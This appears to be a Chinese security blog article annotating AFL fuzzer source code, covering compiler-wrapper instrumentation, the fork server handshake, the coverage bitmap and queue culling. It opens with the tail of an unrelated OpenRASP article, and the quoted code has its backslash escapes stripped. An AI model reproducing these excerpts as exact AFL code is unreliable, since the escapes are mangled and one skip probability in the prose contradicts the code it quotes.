建议：反射Hook的时候开发者没有考虑到应用程序也能访问rasp的方法和变量。应该把com.baidu.*
开头的也要加入反射hook的黑名单中，只开放一些自己自己需要用的反射方法。
## 后记
openrasp是一款非常优秀的软件，并且对此的研究越来越火。也是未来的发展方向。但是本身的额外的引入的代码又对程序产生了影响。 | 社区文章 |
# AFL源码阅读笔记
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
想提高一下自己读代码的能力，加上对FUZZ知之甚少，仅仅是知道模糊的过程，这对于一个二进制选手来说是远远不够的，因此这几天放弃了调试内核CVE，转而阅读AFL源码，到现在已经有很多基于AFL的开源软件了，比如AFL
plusplus和AFL
Unicorn，但是都是基于AFL，可见这一开源的FUZZ工具是多么经典，因此花了大概五天进行源码阅读(太菜了，代码看着看着就看不懂了)，虽然`afl-fuzz`的源码有8000+行，但是代码逻辑很清晰，注释也非常完整，结合着注释以及网上看到的其他资料，这里自己总结一下学习到的东西，也是一篇集他人之长的杂文，不写点东西以我的记性应该很快就忘掉了。
## 基本使用
我基本是参考[初探AFL-Fuzz](https://xz.aliyun.com/t/4314)这篇文章，安装，插桩编译，之后使用`afl-fuzz`进行fuzz，最后成功将一个栈溢出的demo搞崩并得到测试的case。qemu无源码的没有实验，大概知道了用法就去看源代码了
## 设计思想
FUZZ基本大家都有一些大概的认识，对于有源码的项目来说我们使用`afl-gcc`或者`alf-g++`，这是gcc的wraper(封装)，在编译前向一些关键节点进行插桩，这些桩能够记录程序的执行路径，从而反馈出程序的执行情况。如果我们自己想写个fuzz的程序，最简单的思路莫过于将输入用例做随机变换之后尝试将其作为输入给程序查看执行情况，即调用`execv`这样的函数，但是这样的代价是很高的，因为在调用exec这个函数之后将产生一个的新程序来代替原进程，当前进程的数据段、代码段和堆栈段都会被改变，且新的进程的PID同原进程相同，我们无法通过PID来标识不同的测试用例，这种方式是很低效的。因此原作者用一种新的结构进行开发，即`forserver`架构。也就是每次要进行测试的时候就fork出一个子进程进行测试，子进程复制父进程的数据段等，且拥有自己的PID，这就是进程的`写时复制`。这样的好处就是我们省去了重新装载程序的时间[原作者博客](https://lcamtuf.blogspot.com/2014/10/fuzzing-binaries-without-execve.html)。
## 整体架构
在看雪上找到了一篇很详细的分析，其中解答了我很多看源码困惑的地方，其中一个关键的点就是这个架构，在`alf-gcc`中先起了一个`fork-server`，在这个fork出的子进程里调用了`execve`去执行二进制程序，然后结合`afl-as`的代码可以看到插桩的桩代码中也包含了fork函数的调用，这样的话就是fuzzer->forkserver->exec target
Bin->bin->bin_sub_process(被fuzz的app)，这样看起来fuzzer是最终被fuzz的程序的祖祖父进程，但是execve根据我们之前的介绍是直接将创建的进程替换掉原进程的，除非出错否则不会返回，因此实际上forkserver与target
bin可以看作是同一个进程的不同程序，其父进程都是fuzzer，故最终的调用关系是下面这样的
## afl-gcc.c
这个文件用来编译源代码，其实际上是gcc的封装,在组装参数的时候可以看到，as_path是afl-as，查看gcc的参数可以看到`-B`是指定编译器，也就是说这里先把汇编码给了`afl-as`，看后者的代码会发现它也只是个真正as的wrapper，在源程序的汇编中插桩之后再传递给real as。
tmp = alloc_printf("%s/afl-as", dir);
if (!access(tmp, X_OK)) {
as_path = dir;
ck_free(tmp);
return;
}
//......
cc_params[cc_par_cnt++] = "-B";
cc_params[cc_par_cnt++] = as_path;
## afl-as.c
正如之前提到的，这里有是插桩的核心部分，主要函数为`add_instrumentation()`，插桩完毕之后用fork起子进程调用真正的汇编器。下面源码中增加了注释，作者也提到了需要插桩的部分有条件跳转和基本块。其中R(MAP_SIZE)等同于`random(2^16)`，这个是为每个桩分配独有的ID，根据碰撞概率一般不会重复。
static void add_instrumentation(void)
{
//前面忽略，这个循环是核心
while (fgets(line, MAX_LINE, inf)) {
/* In some cases, we want to defer writing the instrumentation trampoline
until after all the labels, macros, comments, etc. If we're in this
mode, and if the line starts with a tab followed by a character, dump
the trampoline now. */
//这里猜测是在main函数等基本块之前插桩，`t`+alpha
if (!pass_thru && !skip_intel && !skip_app && !skip_csect && instr_ok &&
instrument_next && line[0] == 't' && isalpha(line[1])) {
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,
R(MAP_SIZE));
instrument_next = 0;
ins_lines++;
}
/* Output the actual line, call it a day in pass-thru mode. */
//原样输出
fputs(line, outf);
//省略
/* If we're in the right mood for instrumenting, check for function
names or conditional labels. This is a bit messy, but in essence,
we want to catch:
^main: - function entry point (always instrumented)
^.L0: - GCC branch label
^.LBB0_0: - clang branch label (but only in clang mode)
^tjnz foo - conditional branches
...but not:
^# BB#0: - clang comments
^ # BB#0: - ditto
^.Ltmp0: - clang non-branch labels
^.LC0 - GCC non-branch labels
^.LBB0_0: - ditto (when in GCC mode)
^tjmp foo - non-conditional jumps
Additionally, clang and GCC on MacOS X follow a different convention
with no leading dots on labels, hence the weird maze of #ifdefs
later on.
*/
if (skip_intel || skip_app || skip_csect || !instr_ok ||
line[0] == '#' || line[0] == ' ') continue;
/* Conditional branch instruction (jnz, etc). We append the instrumentation
right after the branch (to instrument the not-taken path) and at the
branch destination label (handled later on). */
//条件跳转
if (line[0] == 't') {
if (line[1] == 'j' && line[2] != 'm' && R(100) < inst_ratio) {
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,
R(MAP_SIZE));
ins_lines++;
}
continue;
}
//这里把main_payload插入代码中(应该是位于代码段的尾部)
if (ins_lines)
fputs(use_64bit ? main_payload_64 : main_payload_32, outf);
if (input_file) fclose(inf);
fclose(outf);
if (!be_quiet) {
if (!ins_lines) WARNF("No instrumentation targets found%s.",
pass_thru ? " (pass-thru mode)" : "");
else OKF("Instrumented %u locations (%s-bit, %s mode, ratio %u%%).",
ins_lines, use_64bit ? "64" : "32",
getenv("AFL_HARDEN") ? "hardened" :
(sanitizer ? "ASAN/MSAN" : "non-hardened"),
inst_ratio);
}
}
下面着重分析汇编代码的逻辑，汇编代码位于`afl-as.h`头文件中(以32位代码为例，64位功能相同)，其中`trampoline_fmt_32`是一个调用代码，`main_payload_32`是完整的代码，下面的代码不难分析，前面保存了寄存器的值，ecx存储了格式化字符串，这个`%08x`对应的是之前提到的随机数，其作用是标识每一个插桩节点。
static const u8* trampoline_fmt_32 =
"n"
"/* --- AFL TRAMPOLINE (32-BIT) --- */n"
"n"
".align 4n"
"n"
"leal -16(%%esp), %%espn"
"movl %%edi, 0(%%esp)n"
"movl %%edx, 4(%%esp)n"
"movl %%ecx, 8(%%esp)n"
"movl %%eax, 12(%%esp)n"
"movl $0x%08x, %%ecxn"
"call __afl_maybe_logn"
"movl 12(%%esp), %%eaxn"
"movl 8(%%esp), %%ecxn"
"movl 4(%%esp), %%edxn"
"movl 0(%%esp), %%edin"
"leal 16(%%esp), %%espn"
"n"
"/* --- END --- */n"
"n";
核心函数为`__afl_maybe_log`，lahf作用是将EFLAGS
寄存器标志位加载到AH,seto为溢出置位，之后判断`__afl_area_ptr`是否为空，这个指针用来保存共享内存，如果不为空表明已经初始化完成了，直接进入`__afl_store`，这里首先把`__afl_prev_loc(之前的我位置)`同当前位置的`key`异或，保存在`edi`寄存器，之后当前的key右移一位，作为下一个的`__afl_prev_loc`，这个右移是一个很巧妙的设计，如果代码块的跳转为`A->B`或`B->A`，直接对两个Key异或结果是一样的，因此右移可以区分出一些特殊情况。下面那个incb代码中`edx`为map,`edi`为索引，即map表中对应的索引加一，表明一次hit。
如果之前的共享内存地址为空，就进入`__afl_setup`这个标签，如果`__afl_setup_failure`的值不为0(0为正常，非零异常)，通过`getenv($SHM_ENV_VAR)`环境变量来获得共享内存的ID，如果不为空就调用`atoi`以及`shmat`，最终将这个地址存储在`__afl_area_ptr`中方便之后使用(不必再初始化)，下面启动`fork_server`。
fork_server和fuzzer之间是通过管道通信的，在宏定义里可以看到默认的`FORKSRV_FD`为`198`，这里读管道为`198`，写管道为`199`。开始先通知fuzzer，之后在read处阻塞等待fuzzer的消息，得到fuzzer通知之后父进程fork出一个子进程，在这个子进程里会关闭与fuzzer通信的文件描述符，jmp到`__afl_store`记录下基本块的`hit`情况之后向后继续执行main函数。而父进程记录下刚才启动的子进程的pid发送给fuzzer并等待子进程执行完毕，子进程结束之后将其状态告知fuzzer。之后开始新一轮的等待。后面每次基本块都会执行`__afl_maybe_log`，但由于已经得到了共享内存的位置不会fork新的进程，之后只是记录基本块的跳转情况，这样就大大节约了资源。
至此，在目标程序的插桩代码基本分析完毕。
static const u8* main_payload_32 =
"n"
"/* --- AFL MAIN PAYLOAD (32-BIT) --- */n"
"n"
".textn"
".att_syntaxn"
".code32n"
".align 8n"
"n"
"__afl_maybe_log:n"
"n"
" lahfn"
" seto %aln"
"n"
" /* Check if SHM region is already mapped. */n"
"n"
" movl __afl_area_ptr, %edxn"
" testl %edx, %edxn"
" je __afl_setupn"
"n"
"__afl_store:n"
"n"
" /* Calculate and store hit for the code location specified in ecx. Theren"
" is a double-XOR way of doing this without tainting another register,n"
" and we use it on 64-bit systems; but it's slower for 32-bit ones. */n"
"n"
#ifndef COVERAGE_ONLY
" movl __afl_prev_loc, %edin"
" xorl %ecx, %edin"
" shrl $1, %ecxn"
" movl %ecx, __afl_prev_locn"
#else
" movl %ecx, %edin"
#endif /* ^!COVERAGE_ONLY */
"n"
#ifdef SKIP_COUNTS
" orb $1, (%edx, %edi, 1)n"
#else
" incb (%edx, %edi, 1)n"
#endif /* ^SKIP_COUNTS */
"n"
"__afl_return:n"
"n"
" addb $127, %aln"
" sahfn"
" retn"
"n"
".align 8n"
"n"
"__afl_setup:n"
"n"
" /* Do not retry setup if we had previous failures. */n"
"n"
" cmpb $0, __afl_setup_failuren"
" jne __afl_returnn"
"n"
" /* Map SHM, jumping to __afl_setup_abort if something goes wrong.n"
" We do not save FPU/MMX/SSE registers here, but hopefully, nobodyn"
" will notice this early in the game. */n"
"n"
" pushl %eaxn"
" pushl %ecxn"
"n"
" pushl $.AFL_SHM_ENVn"
" call getenvn"
" addl $4, %espn"
"n"
" testl %eax, %eaxn"
" je __afl_setup_abortn"
"n"
" pushl %eaxn"
" call atoin"
" addl $4, %espn"
"n"
" pushl $0 /* shmat flags */n"
" pushl $0 /* requested addr */n"
" pushl %eax /* SHM ID */n"
" call shmatn"
" addl $12, %espn"
"n"
" cmpl $-1, %eaxn"
" je __afl_setup_abortn"
"n"
" /* Store the address of the SHM region. */n"
"n"
" movl %eax, __afl_area_ptrn"
" movl %eax, %edxn"
"n"
" popl %ecxn"
" popl %eaxn"
"n"
"__afl_forkserver:n"
"n"
" /* Enter the fork server mode to avoid the overhead of execve() calls. */n"
"n"
" pushl %eaxn"
" pushl %ecxn"
" pushl %edxn"
"n"
" /* Phone home and tell the parent that we're OK. (Note that signals withn"
" no SA_RESTART will mess it up). If this fails, assume that the fd isn"
" closed because we were execve()d from an instrumented binary, or becausen"
" the parent doesn't want to use the fork server. */n"
"n"
" pushl $4 /* length */n"
" pushl $__afl_temp /* data */n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */n"
" call writen"
" addl $12, %espn"
"n"
" cmpl $4, %eaxn"
" jne __afl_fork_resumen"
"n"
"__afl_fork_wait_loop:n"
"n"
" /* Wait for parent by reading from the pipe. Abort if read fails. */n"
"n"
" pushl $4 /* length */n"
" pushl $__afl_temp /* data */n"
" pushl $" STRINGIFY(FORKSRV_FD) " /* file desc */n"
" call readn"
" addl $12, %espn"
"n"
" cmpl $4, %eaxn"
" jne __afl_dien"
"n"
" /* Once woken up, create a clone of our process. This is an excellent usen"
" case for syscall(__NR_clone, 0, CLONE_PARENT), but glibc boneheadedlyn"
" caches getpid() results and offers no way to update the value, breakingn"
" abort(), raise(), and a bunch of other things :-( */n"
"n"
" call forkn"
"n"
" cmpl $0, %eaxn"
" jl __afl_dien"
" je __afl_fork_resumen"
"n"
" /* In parent process: write PID to pipe, then wait for child. */n"
"n"
" movl %eax, __afl_fork_pidn"
"n"
" pushl $4 /* length */n"
" pushl $__afl_fork_pid /* data */n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */n"
" call writen"
" addl $12, %espn"
"n"
" pushl $0 /* no flags */n"
" pushl $__afl_temp /* status */n"
" pushl __afl_fork_pid /* PID */n"
" call waitpidn"
" addl $12, %espn"
"n"
" cmpl $0, %eaxn"
" jle __afl_dien"
"n"
" /* Relay wait status to pipe, then loop back. */n"
"n"
" pushl $4 /* length */n"
" pushl $__afl_temp /* data */n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */n"
" call writen"
" addl $12, %espn"
"n"
" jmp __afl_fork_wait_loopn"
"n"
"__afl_fork_resume:n"
"n"
" /* In child process: close fds, resume execution. */n"
"n"
" pushl $" STRINGIFY(FORKSRV_FD) "n"
" call closen"
"n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) "n"
" call closen"
"n"
" addl $8, %espn"
"n"
" popl %edxn"
" popl %ecxn"
" popl %eaxn"
" jmp __afl_storen"
"n"
"__afl_die:n"
"n"
" xorl %eax, %eaxn"
" call _exitn"
"n"
"__afl_setup_abort:n"
"n"
" /* Record setup failure so that we don't keep callingn"
" shmget() / shmat() over and over again. */n"
"n"
" incb __afl_setup_failuren"
" popl %ecxn"
" popl %eaxn"
" jmp __afl_returnn"
"n"
".AFL_VARS:n"
"n"
" .comm __afl_area_ptr, 4, 32n"
" .comm __afl_setup_failure, 1, 32n"
#ifndef COVERAGE_ONLY
" .comm __afl_prev_loc, 4, 32n"
#endif /* !COVERAGE_ONLY */
" .comm __afl_fork_pid, 4, 32n"
" .comm __afl_temp, 4, 32n"
"n"
".AFL_SHM_ENV:n"
" .asciz "" SHM_ENV_VAR ""n"
"n"
"/* --- END --- */n"
"n";
## afl-fuzz.c
这个是我们fuzz启动的入口，代码8000+行(看的我都麻木了- -)，下面会挑核心的逻辑来讲，细枝末节不再赘述。
从main函数开始，先是获取时间/扔随机数种子/解析参数/设置异常处理/设置环境变量/设置banner/检查终端/获取CPU核数，然后到了设置共享内存的函数
EXP_ST void setup_shm(void) {
u8* shm_str;
if (!in_bitmap) memset(virgin_bits, 255, MAP_SIZE);
//数组用来存储有无见过崩溃/tmouts
memset(virgin_tmout, 255, MAP_SIZE);
memset(virgin_crash, 255, MAP_SIZE);
shm_id = shmget(IPC_PRIVATE, MAP_SIZE, IPC_CREAT | IPC_EXCL | 0600);
if (shm_id < 0) PFATAL("shmget() failed");
atexit(remove_shm);
shm_str = alloc_printf("%d", shm_id);
/* If somebody is asking us to fuzz instrumented binaries in dumb mode,
we don't want them to detect instrumentation, since we won't be sending
fork server commands. This should be replaced with better auto-detection
later on, perhaps? */
if (!dumb_mode) setenv(SHM_ENV_VAR, shm_str, 1);
ck_free(shm_str);
//shm_id是这块共享内存的标识id，NULL地址让系统自动选择合适的一块进行分配
trace_bits = shmat(shm_id, NULL, 0);
if (!trace_bits) PFATAL("shmat() failed");
}
下面是对不同的执行次数进行划分(比如32次到127次都会认为是64次)
static const u8 count_class_lookup8[256] = {
[0] = 0,
[1] = 1,
[2] = 2,
[3] = 4,
[4 ... 7] = 8,
[8 ... 15] = 16,
[16 ... 31] = 32,
[32 ... 127] = 64,
[128 ... 255] = 128
};
static u16 count_class_lookup16[65536];
EXP_ST void init_count_class16(void) {
//唔左移动8位相当于移动了一个字节，也就是说是类似(b1)(b2)这样的字节idx的数组，上面原始数组不同范围取最大值，保证2^n
u32 b1, b2;
for (b1 = 0; b1 < 256; b1++)
for (b2 = 0; b2 < 256; b2++)
count_class_lookup16[(b1 << 8) + b2] =
(count_class_lookup8[b1] << 8) |
count_class_lookup8[b2];
}
pivot_input在输出目录中为输入的testcase创建硬链接，其中的`mark_as_det_done`将一些经过确定性变异的文件放入`deterministic_done`目录，之后就不会再重复测试。`load_extras`加载用户自己定义的token，`find_timeout`设置超时时间，`setup_stdio_file`设置输入输出目录，`check_binary`检查二进制文件的合法性(是否是bash文件，是否有ELF头以及是否插桩过了)
下面开始第一次的fuzz,核心函数为`perform_dry_run`，其功能是将给的所有测试用例跑一遍，确保软件如期工作，故只会跑一遍。需要说明的是这里的文件在初始的时候被抽象到一个自定义的结构体中，且组成了队列，这个结构体如下,含义在注释中均有说明
struct queue_entry {
u8* fname; /* File name for the test case */
u32 len; /* Input length */
u8 cal_failed, /* Calibration failed? */
trim_done, /* Trimmed? */
was_fuzzed, /* Had any fuzzing done yet? */
passed_det, /* Deterministic stages passed? */
has_new_cov, /* Triggers new coverage? */
var_behavior, /* Variable behavior? */
favored, /* Currently favored? */
fs_redundant; /* Marked as redundant in the fs? */
u32 bitmap_size, /* Number of bits set in bitmap */
exec_cksum; /* Checksum of the execution trace */
u64 exec_us, /* Execution time (us) */
handicap, /* Number of queue cycles behind */
depth; /* Path depth */
u8* trace_mini; /* Trace bytes, if kept */
u32 tc_ref; /* Trace bytes ref count */
struct queue_entry *next, /* Next element, if any */
*next_100; /* 100 elements ahead */
};
在这个函数中核心的调用为`res = calibrate_case(argv, q, use_mem, 0,
1);`，之后对res判断确定程序的运行情况(crash or
sth)，拿翻译看下，这函数的意思是校准用例，看注释的话意思应该是在输入的时候进行测试，前期发现一些有问题的测试用例。应该一共跑个3次或者8次(取决于是否是快速模式)，如果没启动forkserver那么在这用init_forkserver启动。这个函数有必要多讲一下。
开局也不多说，直接就fork出子进程，为其设置一些资源，拷贝文件描述符，设置环境变量等，最终调用`execv(target_path,
argv);`替换进程去执行Binary，由于execv正常是不会返回的，所以出错后后面会在共享内存那里设置一个`EXEC_FAIL_SIG`,通过对于管道文件的读取可以判断forkserver是否正常启动，这块就和之前插桩的代码联系了起来，判断方式是说如果正常操作会有一个4字节的Hello信息(但是这tm不是五字节吗喂)，确保启动正常就进入`waitpid(forksrv_pid,
&status, 0)`的等待，后面对接收到的status进行判断确定子进程的运行状况。
EXP_ST void init_forkserver(char** argv) {
static struct itimerval it;
int st_pipe[2], ctl_pipe[2];
int status;
s32 rlen;
ACTF("Spinning up the fork server...");
if (pipe(st_pipe) || pipe(ctl_pipe)) PFATAL("pipe() failed");
forksrv_pid = fork();
if (forksrv_pid < 0) PFATAL("fork() failed");
if (!forksrv_pid) {
//子进程
struct rlimit r;
/* Umpf. On OpenBSD, the default fd limit for root users is set to
soft 128. Let's try to fix that... */
if (!getrlimit(RLIMIT_NOFILE, &r) && r.rlim_cur < FORKSRV_FD + 2) {
//设置可以打开的最大的文件描述符的数量
r.rlim_cur = FORKSRV_FD + 2;
setrlimit(RLIMIT_NOFILE, &r); /* Ignore errors */
}
if (mem_limit) {
r.rlim_max = r.rlim_cur = ((rlim_t)mem_limit) << 20;
#ifdef RLIMIT_AS
//进程最大的虚地址内存
setrlimit(RLIMIT_AS, &r); /* Ignore errors */
#else
/* This takes care of OpenBSD, which doesn't have RLIMIT_AS, but
according to reliable sources, RLIMIT_DATA covers anonymous
maps - so we should be getting good protection against OOM bugs. */
setrlimit(RLIMIT_DATA, &r); /* Ignore errors */
#endif /* ^RLIMIT_AS */
}
/* Dumping cores is slow and can lead to anomalies if SIGKILL is delivered
before the dump is complete. */
r.rlim_max = r.rlim_cur = 0;
//4 core
setrlimit(RLIMIT_CORE, &r); /* Ignore errors */
/* Isolate the process and configure standard descriptors. If out_file is
specified, stdin is /dev/null; otherwise, out_fd is cloned instead. */
//为子进程分配新的session id
setsid();
dup2(dev_null_fd, 1);
dup2(dev_null_fd, 2);
if (out_file) {
dup2(dev_null_fd, 0);
} else {
dup2(out_fd, 0);
close(out_fd);
}
/* Set up control and status pipes, close the unneeded original fds. */
if (dup2(ctl_pipe[0], FORKSRV_FD) < 0) PFATAL("dup2() failed");
if (dup2(st_pipe[1], FORKSRV_FD + 1) < 0) PFATAL("dup2() failed");
close(ctl_pipe[0]);
close(ctl_pipe[1]);
close(st_pipe[0]);
close(st_pipe[1]);
close(out_dir_fd);
close(dev_null_fd);
close(dev_urandom_fd);
close(fileno(plot_file));
/* This should improve performance a bit, since it stops the linker from
doing extra work post-fork(). */
//非延迟绑定
if (!getenv("LD_BIND_LAZY")) setenv("LD_BIND_NOW", "1", 0);
/* Set sane defaults for ASAN if nothing else specified. */
setenv("ASAN_OPTIONS", "abort_on_error=1:"
"detect_leaks=0:"
"symbolize=0:"
"allocator_may_return_null=1", 0);
/* MSAN is tricky, because it doesn't support abort_on_error=1 at this
point. So, we do this in a very hacky way. */
setenv("MSAN_OPTIONS", "exit_code=" STRINGIFY(MSAN_ERROR) ":"
"symbolize=0:"
"abort_on_error=1:"
"allocator_may_return_null=1:"
"msan_track_origins=0", 0);
execv(target_path, argv);
//失败会到这里来
/* Use a distinctive bitmap signature to tell the parent about execv()
falling through. */
*(u32*)trace_bits = EXEC_FAIL_SIG;
exit(0);
}
//父进程
/* Close the unneeded endpoints. */
close(ctl_pipe[0]);
close(st_pipe[1]);
fsrv_ctl_fd = ctl_pipe[1];
fsrv_st_fd = st_pipe[0];
/* Wait for the fork server to come up, but don't wait too long. */
it.it_value.tv_sec = ((exec_tmout * FORK_WAIT_MULT) / 1000);
it.it_value.tv_usec = ((exec_tmout * FORK_WAIT_MULT) % 1000) * 1000;
setitimer(ITIMER_REAL, &it, NULL);
rlen = read(fsrv_st_fd, &status, 4);
it.it_value.tv_sec = 0;
it.it_value.tv_usec = 0;
setitimer(ITIMER_REAL, &it, NULL);
/* If we have a four-byte "hello" message from the server, we're all set.
Otherwise, try to figure out what went wrong. */
if (rlen == 4) {
OKF("All right - fork server is up.");
return;
}
if (child_timed_out)
FATAL("Timeout while initializing fork server (adjusting -t may help)");
if (waitpid(forksrv_pid, &status, 0) <= 0)
PFATAL("waitpid() failed");
if (WIFSIGNALED(status)) {
if (mem_limit && mem_limit < 500 && uses_asan) {
SAYF("n" cLRD "[-] " cRST
"Whoops, the target binary crashed suddenly, before receiving any inputn"
" from the fuzzer! Since it seems to be built with ASAN and you have an"
" restrictive memory limit configured, this is expected; please readn"
" %s/notes_for_asan.txt for help.n", doc_path);
} else if (!mem_limit) {
SAYF("n" cLRD "[-] " cRST
"Whoops, the target binary crashed suddenly, before receiving any inputn"
" from the fuzzer! There are several probable explanations:nn"
" - The binary is just buggy and explodes entirely on its own. If so, youn"
" need to fix the underlying problem or find a better replacement.nn"
#ifdef __APPLE__
" - On MacOS X, the semantics of fork() syscalls are non-standard and mayn"
" break afl-fuzz performance optimizations when running platform-specificn"
" targets. To fix this, set AFL_NO_FORKSRV=1 in the environment.nn"
#endif /* __APPLE__ */
" - Less likely, there is a horrible bug in the fuzzer. If other optionsn"
" fail, poke <[email protected]> for troubleshooting tips.n");
} else {
SAYF("n" cLRD "[-] " cRST
"Whoops, the target binary crashed suddenly, before receiving any inputn"
" from the fuzzer! There are several probable explanations:nn"
" - The current memory limit (%s) is too restrictive, causing then"
" target to hit an OOM condition in the dynamic linker. Try bumping upn"
" the limit with the -m setting in the command line. A simple way confirmn"
" this diagnosis would be:nn"
#ifdef RLIMIT_AS
" ( ulimit -Sv $[%llu << 10]; /path/to/fuzzed_app )nn"
#else
" ( ulimit -Sd $[%llu << 10]; /path/to/fuzzed_app )nn"
#endif /* ^RLIMIT_AS */
" Tip: you can use http://jwilk.net/software/recidivm to quicklyn"
" estimate the required amount of virtual memory for the binary.nn"
" - The binary is just buggy and explodes entirely on its own. If so, youn"
" need to fix the underlying problem or find a better replacement.nn"
#ifdef __APPLE__
" - On MacOS X, the semantics of fork() syscalls are non-standard and mayn"
" break afl-fuzz performance optimizations when running platform-specificn"
" targets. To fix this, set AFL_NO_FORKSRV=1 in the environment.nn"
#endif /* __APPLE__ */
" - Less likely, there is a horrible bug in the fuzzer. If other optionsn"
" fail, poke <[email protected]> for troubleshooting tips.n",
DMS(mem_limit << 20), mem_limit - 1);
}
FATAL("Fork server crashed with signal %d", WTERMSIG(status));
}
if (*(u32*)trace_bits == EXEC_FAIL_SIG)
FATAL("Unable to execute target application ('%s')", argv[0]);
if (mem_limit && mem_limit < 500 && uses_asan) {
SAYF("n" cLRD "[-] " cRST
"Hmm, looks like the target binary terminated before we could complete an"
" handshake with the injected code. Since it seems to be built with ASAN andn"
" you have a restrictive memory limit configured, this is expected; pleasen"
" read %s/notes_for_asan.txt for help.n", doc_path);
} else if (!mem_limit) {
SAYF("n" cLRD "[-] " cRST
"Hmm, looks like the target binary terminated before we could complete an"
" handshake with the injected code. Perhaps there is a horrible bug in then"
" fuzzer. Poke <[email protected]> for troubleshooting tips.n");
} else {
SAYF("n" cLRD "[-] " cRST
"Hmm, looks like the target binary terminated before we could complete an"
" handshake with the injected code. There are %s probable explanations:nn"
"%s"
" - The current memory limit (%s) is too restrictive, causing an OOMn"
" fault in the dynamic linker. This can be fixed with the -m option. An"
" simple way to confirm the diagnosis may be:nn"
#ifdef RLIMIT_AS
" ( ulimit -Sv $[%llu << 10]; /path/to/fuzzed_app )nn"
#else
" ( ulimit -Sd $[%llu << 10]; /path/to/fuzzed_app )nn"
#endif /* ^RLIMIT_AS */
" Tip: you can use http://jwilk.net/software/recidivm to quicklyn"
" estimate the required amount of virtual memory for the binary.nn"
" - Less likely, there is a horrible bug in the fuzzer. If other optionsn"
" fail, poke <[email protected]> for troubleshooting tips.n",
getenv(DEFER_ENV_VAR) ? "three" : "two",
getenv(DEFER_ENV_VAR) ?
" - You are using deferred forkserver, but __AFL_INIT() is nevern"
" reached before the program terminates.nn" : "",
DMS(mem_limit << 20), mem_limit - 1);
}
FATAL("Fork server handshake failed");
}
等启动forkserver完毕之后，又一个核心函数出现了，就是这里的`run_target`，这个函数在之后每次调用新的二进制程序的时候都会使用，其先检查有无启动forkserver，没有的话就先启动一个，否则我们只注重与forkserver的交互即可(使用ctl_fd写,st_fd读)，因为binary那边会一直返回子进程的进程号，所以一直等到结果为-1即可中止，最后拿`classify_counts((u32*)trace_bits);`将结果进行分类。
`has_new_bits`判断之前的测试有没有增加新的路径(二元的tuple)，逻辑应该就是拿`virgin_map`这个map同`trace_bits`进行比较.
`update_bitmap_score`这个函数很有意思，注释里说每当我们发现一个新的路径，都会调用这个函数来判断其是不是更加地`favorable`，这个favorable的意思是说是否包含最小的路径集合来遍历到所有bitmap中的位，我们专注于这些集合而忽略其他的。核心的比较方式是`fav_factor
= q->exec_us *
q->len;`即测试用例执行的时间以及输入长度的乘积，注释说希望找到更快或者规模更小的用例，一旦当前的`fav_factor`比`top_rated[i]`要小就会更新这个表，将原来的winner的`tc_ref--`，当前的插入表中。
至此，我们以及将`perform_dry_run`中的函数分析完毕。
下面会调用`cull_queue`函数，函数前的注释说我们已经进入了第二个阶段，即用`routine`来遍历`top_rated
entry`，不断寻找之前没见到过的bytes并且将它们标为`favored`。函数首先判断sore_changed是不是为真,之后拿贪心算法找能够遍历到所有节点的最小测试集合，比如有三个节点n0,n1,n2,n3和3个测试用例s1,s2,s3。`top_rated[0]=s0,top_rated[s2]=s2`且`s0覆盖n0,n1;s1覆盖n2`其中初始化`temp_v=[1,1,1,1]`，1就表示对应节点没有访问到，初始化为都没访问到。开始先判断`temp_v[0]=1`，说明没访问到，之后就去看`top_rated[0]`，发现为1，说明存在一个用例能访问到这个`n0`，因此进一步查看这个用例，得到其覆盖范围`trace_mini=[1,1,0]`故据此更新`temp_v=[0,0,1]`，往下看n1，访问过了，再看n2仍未访问到，再去看top_rated得到s2，再看s2的覆盖范围更新temp_v，就这样标注s0和s1为favored，如果他俩还没有被fuzz，还要`pending_favored++`。完成上述操作之后将无用的用例标为冗余。
/* The second part of the mechanism discussed above is a routine that
goes over top_rated[] entries, and then sequentially grabs winners for
previously-unseen bytes (temp_v) and marks them as favored, at least
until the next run. The favored entries are given more air time during
all fuzzing steps. */
static void cull_queue(void) {
struct queue_entry* q;
static u8 temp_v[MAP_SIZE >> 3];
u32 i;
if (dumb_mode || !score_changed) return;
score_changed = 0;
memset(temp_v, 255, MAP_SIZE >> 3);
queued_favored = 0;
pending_favored = 0;
q = queue;
while (q) {
q->favored = 0;
q = q->next;
}
/* Let's see if anything in the bitmap isn't captured in temp_v.
If yes, and if it has a top_rated[] contender, let's use it. */
for (i = 0; i < MAP_SIZE; i++)
if (top_rated[i] && (temp_v[i >> 3] & (1 << (i & 7)))) {
u32 j = MAP_SIZE >> 3;
/* Remove all bits belonging to the current entry from temp_v. */
while (j--)
if (top_rated[i]->trace_mini[j])//这里是之前提到的取反操作
temp_v[j] &= ~top_rated[i]->trace_mini[j];
top_rated[i]->favored = 1;
queued_favored++;
if (!top_rated[i]->was_fuzzed) pending_favored++;
}
q = queue;
while (q) {//标记冗余用例
mark_as_redundant(q, !q->favored);
q = q->next;
}
}
再往后就是一个大的循环，也是AFL最最核心的部分，循环开始依然是用`cull_queue`对队列进行筛选，如果一个`cycle`都没有新发现尝试更换策略，最终调用`skipped_fuzz
= fuzz_one(use_argv);`这个函数里对测试用例做了变异，下面一节着重分析这个函数AFL的变异策略
## fuzz_one && 变异策略
开始先根据标志位跳过一些测试用例。如果fuzz过或者没有`queue_cur->favored`标志，会有99%的概率被跳过；如果fuzzed&&no-favored，有90%概率跳过，如果没有fuzz过，有75%概率跳过。
之后打开文件，将内容map到in_buf上。
/* Probabilities of skipping non-favored entries in the queue, expressed as
percentages: */
#define SKIP_TO_NEW_PROB 99 /* ...when there are new, pending favorites */
#define SKIP_NFAV_OLD_PROB 95 /* ...no new favs, cur entry already fuzzed */
#define SKIP_NFAV_NEW_PROB 75 /* ...no new favs, cur entry not fuzzed yet */
假如之前校准的时候有错误，则还会进行一次校准`CALIBRATION`，当然校准错误的次数有上限，为三次。
下面一步为`TRIMMING`,调用方式为`u8 res = trim_case(argv, queue_cur,
